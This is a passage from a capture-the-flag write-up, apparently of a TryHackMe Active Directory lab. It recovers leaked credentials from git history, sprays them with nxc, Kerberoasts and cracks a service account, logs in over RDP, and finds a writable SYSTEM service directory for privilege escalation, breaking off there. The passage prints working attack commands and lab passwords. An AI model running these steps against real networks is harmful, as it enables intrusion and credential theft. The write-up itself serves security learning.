&lt;pre class="highlight shell"&gt;&lt;code&gt;office2john RSA-Secured-Credentials.xlsx &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; hash.txt
office2john RSA-Secured-Document-PII.docx &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; hash.txt
john &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt hash.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This didn't crack in any reasonable time, which was the signal that this wasn't the intended path - real Office encryption is expensive to brute force, and an "easy" box wouldn't gate the real path behind that. Moved on and left these files uncracked.&lt;/p&gt;




&lt;h2&gt;
  
  
  Finding the GitHub org
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Bitbucket-styled login page
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://machine-ip:7990/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The page rendered as a pixel-perfect copy of Atlassian's real &lt;code&gt;id.atlassian.com&lt;/code&gt; login page, but with a custom banner injected above the login form:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Reminder to all Enterprise-THM Employees:&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;We are moving to Github!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Log in to your account&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Wappalyzer confirmed the stack as IIS 10.0 plus Apple/Atlassian sign-in bits - basically a static clone of the real login page, not an actual live Bitbucket instance. The banner text is clearly the important part here: a nudge toward GitHub.&lt;/p&gt;

&lt;h3&gt;
  
  
  Google dorking for the GitHub org
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"Enterprise-THM" site:github.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This turned up a real GitHub organization: &lt;code&gt;github.com/Enterprise-THM&lt;/code&gt;, with one repo, &lt;code&gt;About-Us&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/Enterprise-THM/About-Us
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;README.md&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="gu"&gt;### Welcome to Enterprise.THM&lt;/span&gt;

Enterprise.THM is the latest and greatest company on the NYSE. Later on, you'll be able to view all of our awesome free, open source trading algorithms.
Stay tuned for more details.
&lt;span class="p"&gt;
-&lt;/span&gt; Enterprise.THM Team
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Nothing sensitive in the current file, but always worth checking &lt;code&gt;git log&lt;/code&gt; on a repo like this - a leading hint that there might be more:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git log &lt;span class="nt"&gt;--oneline&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;41a9956 (HEAD -&amp;gt; main, origin/main, origin/HEAD) Update README.md
3bd74df Create README.md
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both commits just tweak formatting on the README, no secrets here - but this confirmed the org is real and gave a real author identity to pivot on: &lt;code&gt;Sq00ky&lt;/code&gt;. Checking the org's people page directly was more productive:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://github.com/orgs/Enterprise-THM/people &lt;span class="nt"&gt;-o&lt;/span&gt; people.html
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oP&lt;/span&gt; &lt;span class="s1"&gt;'href="/[^"]+"'&lt;/span&gt; people.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That turned up a second GitHub account: &lt;code&gt;Nik-enterprise-dev&lt;/code&gt; - matching the &lt;code&gt;nik&lt;/code&gt; username already seen in the AD user list. Their profile had one public repo: &lt;code&gt;mgmtScript.ps1&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  The leaked credentials
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/Nik-enterprise-dev/mgmtScript.ps1
&lt;span class="nb"&gt;cat &lt;/span&gt;SystemInfo.ps1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Current file contents&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Import-Module&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ActiveDirectory&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$userName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$userPassword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$psCreds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ConvertTo-SecureString&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$userPassword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-AsPlainText&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$Computers&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-TypeName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"System.Collections.ArrayList"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$Computer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Get-ADComputer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kr"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-lt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$Computer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$index&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Invoke-Command&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ComputerName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$index&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;systeminfo&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Empty username/password in the current version - but the commit history tells a different story:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;commit c3c239df75fefbe7563d1d29c963ba1f01e4fe5a (HEAD -&amp;gt; main, origin/main, origin/HEAD)
Author: Nik-enterprise-dev
Date:   Sat Mar 13 20:09:16 2021 -0500

    Updated things

    I accidentally added something
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That commit message is basically a confession. Diffing it confirms it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git show c3c239df75fefbe7563d1d29c963ba1f01e4fe5a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt; Import-Module ActiveDirectory
&lt;span class="gd"&gt;-$userName = 'nik'
-$userPassword = 'ToastyBoi!'
&lt;/span&gt;&lt;span class="gi"&gt;+$userName = ''
+$userPassword = ''
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Blanking out the values in a new commit doesn't remove them from git history - the old commit (and the credentials in it) are still sitting right there. That's &lt;code&gt;nik:ToastyBoi!&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Validating and using nik's credentials
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; nik &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'ToastyBoi!'&lt;/span&gt;
nxc ldap machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; nik &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'ToastyBoi!'&lt;/span&gt;
nxc winrm machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; nik &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'ToastyBoi!'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SMB    machine-ip   445    LAB-DC   LAB.ENTERPRISE.THM\nik:ToastyBoi!
LDAP   machine-ip   389    LAB-DC   LAB.ENTERPRISE.THM\nik:ToastyBoi!
WINRM  machine-ip   5985   LAB-DC   [-] LAB.ENTERPRISE.THM\nik:ToastyBoi!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Valid on SMB and LDAP, but no WinRM - &lt;code&gt;nik&lt;/code&gt; isn't in a group that grants remote PowerShell access. Used &lt;code&gt;bloodyAD&lt;/code&gt; for LDAP enumeration from here on since BloodHound's own collector partially failed to ingest cleanly in this session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodyAD &lt;span class="nt"&gt;--host&lt;/span&gt; LAB-DC.LAB.ENTERPRISE.THM &lt;span class="nt"&gt;-d&lt;/span&gt; LAB.ENTERPRISE.THM &lt;span class="nt"&gt;-u&lt;/span&gt; nik &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'ToastyBoi!'&lt;/span&gt; get object nik
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed &lt;code&gt;nik&lt;/code&gt; is a normal domain user (&lt;code&gt;NORMAL_ACCOUNT&lt;/code&gt;, &lt;code&gt;DONT_EXPIRE_PASSWORD&lt;/code&gt;) and a member of the &lt;code&gt;Contractor&lt;/code&gt; and &lt;code&gt;Password-Policy-Exemption&lt;/code&gt; groups. Checked what &lt;code&gt;nik&lt;/code&gt; could actually write in the directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodyAD &lt;span class="nt"&gt;--host&lt;/span&gt; LAB-DC.LAB.ENTERPRISE.THM &lt;span class="nt"&gt;-d&lt;/span&gt; LAB.ENTERPRISE.THM &lt;span class="nt"&gt;-u&lt;/span&gt; nik &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'ToastyBoi!'&lt;/span&gt; get writable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing exploitable there beyond &lt;code&gt;nik&lt;/code&gt;'s own object. The next natural step for any authenticated domain user is checking for Kerberoastable service accounts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodyAD &lt;span class="nt"&gt;--host&lt;/span&gt; LAB-DC.LAB.ENTERPRISE.THM &lt;span class="nt"&gt;-d&lt;/span&gt; LAB.ENTERPRISE.THM &lt;span class="nt"&gt;-u&lt;/span&gt; nik &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'ToastyBoi!'&lt;/span&gt; get search &lt;span class="nt"&gt;--filter&lt;/span&gt; &lt;span class="s1"&gt;'(&amp;amp;(objectClass=user)(servicePrincipalName=*))'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That search returned the DC's own machine account (expected) and, more usefully, a &lt;code&gt;bitbucket&lt;/code&gt; service account with an SPN of &lt;code&gt;HTTP/LAB-DC&lt;/code&gt; - a genuine human-managed service account with a Kerberoastable SPN.&lt;/p&gt;




&lt;h2&gt;
  
  
  Kerberoasting the bitbucket account
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;impacket-GetUserSPNs LAB.ENTERPRISE.THM/nik:&lt;span class="s1"&gt;'ToastyBoi!'&lt;/span&gt; &lt;span class="nt"&gt;-dc-ip&lt;/span&gt; machine-ip &lt;span class="nt"&gt;-request&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output (ticket truncated)&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ServicePrincipalName  Name       MemberOf                                                       PasswordLastSet             LastLogon                   Delegation
--------------------  ---------  -------------------------------------------------------------  --------------------------  --------------------------  ----------
HTTP/LAB-DC           bitbucket  CN=sensitive-account,CN=Builtin,DC=LAB,DC=ENTERPRISE,DC=THM     2021-03-11 20:20:01.333272  2021-04-26 11:16:41.570158

$krb5tgs$23$*bitbucket$LAB.ENTERPRISE.THM$LAB.ENTERPRISE.THM/bitbucket*$...[truncated]...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Saved the ticket to &lt;code&gt;bitbucket.hash&lt;/code&gt; and cracked it offline with rockyou:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt bitbucket.hash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;littleredbucket  (?)
1g 0:00:00:00 DONE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Weak password, cracked almost instantly - &lt;code&gt;bitbucket:littleredbucket&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Validating bitbucket
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; bitbucket &lt;span class="nt"&gt;-p&lt;/span&gt; littleredbucket
nxc ldap machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; bitbucket &lt;span class="nt"&gt;-p&lt;/span&gt; littleredbucket
nxc winrm machine-ip &lt;span class="nt"&gt;-u&lt;/span&gt; bitbucket &lt;span class="nt"&gt;-p&lt;/span&gt; littleredbucket
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same pattern as &lt;code&gt;nik&lt;/code&gt; - valid on SMB/LDAP, not on WinRM. Checked group membership:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodyAD &lt;span class="nt"&gt;--host&lt;/span&gt; LAB-DC.LAB.ENTERPRISE.THM &lt;span class="nt"&gt;-d&lt;/span&gt; LAB.ENTERPRISE.THM &lt;span class="nt"&gt;-u&lt;/span&gt; bitbucket &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'littleredbucket'&lt;/span&gt; get membership bitbucket
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Users
Remote Desktop Users
Domain Users
Password-Policy-Exemption
sensitive-account
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Remote Desktop Users&lt;/strong&gt; is the important one here - &lt;code&gt;bitbucket&lt;/code&gt; may not have WinRM, but it should be able to RDP straight in.&lt;/p&gt;

&lt;h3&gt;
  
  
  A side quest that didn't pay off: the Contractor group
&lt;/h3&gt;

&lt;p&gt;While enumerating groups, the &lt;code&gt;Contractor&lt;/code&gt; group's description field stood out:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodyAD &lt;span class="nt"&gt;--host&lt;/span&gt; LAB-DC.LAB.ENTERPRISE.THM &lt;span class="nt"&gt;-d&lt;/span&gt; LAB.ENTERPRISE.THM &lt;span class="nt"&gt;-u&lt;/span&gt; bitbucket &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'littleredbucket'&lt;/span&gt; get search &lt;span class="nt"&gt;--filter&lt;/span&gt; &lt;span class="s1"&gt;'(description=*)'&lt;/span&gt; &lt;span class="nt"&gt;--attr&lt;/span&gt; description
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;distinguishedName: CN=Contractor,OU=Employees,OU=Staff,DC=LAB,DC=ENTERPRISE,DC=THM
description: Change password from Password123!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's the &lt;code&gt;contractor-temp&lt;/code&gt; account's default password sitting in plaintext in an AD description field. Tried it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb enterprise.thm &lt;span class="nt"&gt;-u&lt;/span&gt; contractor-temp &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Password123!'&lt;/span&gt;
nxc ldap enterprise.thm &lt;span class="nt"&gt;-u&lt;/span&gt; contractor-temp &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Password123!'&lt;/span&gt;
nxc winrm enterprise.thm &lt;span class="nt"&gt;-u&lt;/span&gt; contractor-temp &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Password123!'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Valid on SMB and LDAP, but &lt;strong&gt;not&lt;/strong&gt; on WinRM, and &lt;code&gt;contractor-temp&lt;/code&gt; isn't in Remote Desktop Users either - so this credential doesn't actually grant an interactive foothold. Worth knowing about, but not the intended path forward; &lt;code&gt;bitbucket&lt;/code&gt;'s RDP access was.&lt;/p&gt;




&lt;h2&gt;
  
  
  Foothold via RDP as bitbucket
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;xfreerdp3 /v:LAB-DC.LAB.ENTERPRISE.THM /u:bitbucket /p:&lt;span class="s1"&gt;'littleredbucket'&lt;/span&gt; /d:LAB.ENTERPRISE.THM /w:1280 /h:800 /dynamic-resolution /cert:ignore
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That dropped straight into a full interactive desktop session on &lt;code&gt;LAB-DC&lt;/code&gt; as &lt;code&gt;bitbucket&lt;/code&gt;, with a text file named &lt;code&gt;user&lt;/code&gt; sitting on the desktop:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;type user
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Confirming the foothold from a shell
&lt;/h3&gt;

&lt;p&gt;Opened a &lt;code&gt;cmd.exe&lt;/code&gt; window inside the RDP session to poke around more comfortably:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;whoami
whoami&lt;/span&gt; /all
net user
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output (trimmed)&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;lab-enterprise\bitbucket

Group Name                                 Type             SID
BUILTIN\Remote Desktop Users               Alias            S-1-5-32-555
BUILTIN\Users                              Alias            S-1-5-32-545
LAB-ENTERPRISE\sensitive-account           Group            ...-1115
LAB-ENTERPRISE\Password-Policy-Exemption   Group            ...-1113

User accounts for \\LAB-DC
-------------------------------------------------------------------------------
Administrator  banana  bitbucket  Cake  joiner  korone  krbtgt  spooks
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Just a normal domain user, no special local privileges yet - the escalation path had to come from somewhere on the box itself.&lt;/p&gt;




&lt;h2&gt;
  
  
  Privilege escalation - a leftover ZeroTier install
&lt;/h2&gt;

&lt;p&gt;Instead of running an automated privesc script blind, manually walked through &lt;code&gt;Program Files&lt;/code&gt; and &lt;code&gt;Program Files (x86)&lt;/code&gt; looking for anything that didn't belong on a stock DC image:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; &lt;span class="s2"&gt;"Program Files (x86)"&lt;/span&gt;
&lt;span class="nb"&gt;dir&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Everything else was expected Windows/.NET/Google noise, except one directory that had no business being on a domain controller:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;03/14/2021  05:36 PM    &amp;lt;DIR&amp;gt;          Zero Tier
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; &lt;span class="s2"&gt;"Zero Tier&lt;/span&gt;&lt;span class="se"&gt;\Z&lt;/span&gt;&lt;span class="s2"&gt;ero Tier One"&lt;/span&gt;
&lt;span class="nb"&gt;dir&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;03/14/2021  05:32 PM             1,465 regid.2010-01.com.zerotier_ZeroTierOne.swidtag
12/05/2014  11:52 AM         9,594,056 ZeroTier One.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Checked the corresponding Windows service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Get-Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;zerotieroneservice&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Name          : zerotieroneservice
Status        : Stopped
StartType     : Automatic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Automatic-start service, currently stopped, running as &lt;code&gt;LocalSystem&lt;/code&gt; per its config. That combination (a service that runs as SYSTEM, tied to a binary sitting in a directory a low-privileged user might be able to write to) is a well-known Windows privilege escalation pattern.&lt;/p&gt;

&lt;h3&gt;
  
  
  Confirming the weak permissions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Get-Acl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\Program Files (x86)\Zero Tier\Zero Tier One\"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Format-List&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output (relevant lines)&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Owner  : NT AUTHORITY\SYSTEM
Access : BUILTIN\Users Allow  Write, Synchronize
         NT SERVICE\TrustedInstaller Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Users Allow  ReadAndExecute, Synchronize
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;There it is: &lt;code&gt;BUILTIN\Users&lt;/code&gt; - a group &lt;code&gt;bitbucket&lt;/code&gt; is a member of - has &lt;strong&gt;Write&lt;/strong&gt; access to the service's install directory, even though the service itself runs as &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt;. That means any authenticated user can drop a new file into that folder, including one that replaces the legitimate &lt;code&gt;ZeroTier One.exe&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To confirm this programmatically instead of relying only on manual &lt;code&gt;Get-Acl&lt;/code&gt; reading, pulled down PowerUp.ps1 from PowerSploit and loaded it (the first download attempt actually saved an HTML error page instead of the raw script, which is why the first &lt;code&gt;Import-Module&lt;/code&gt; attempt failed with CSS/JS parse errors - re-downloading the raw file fixed it):&lt;br&gt;
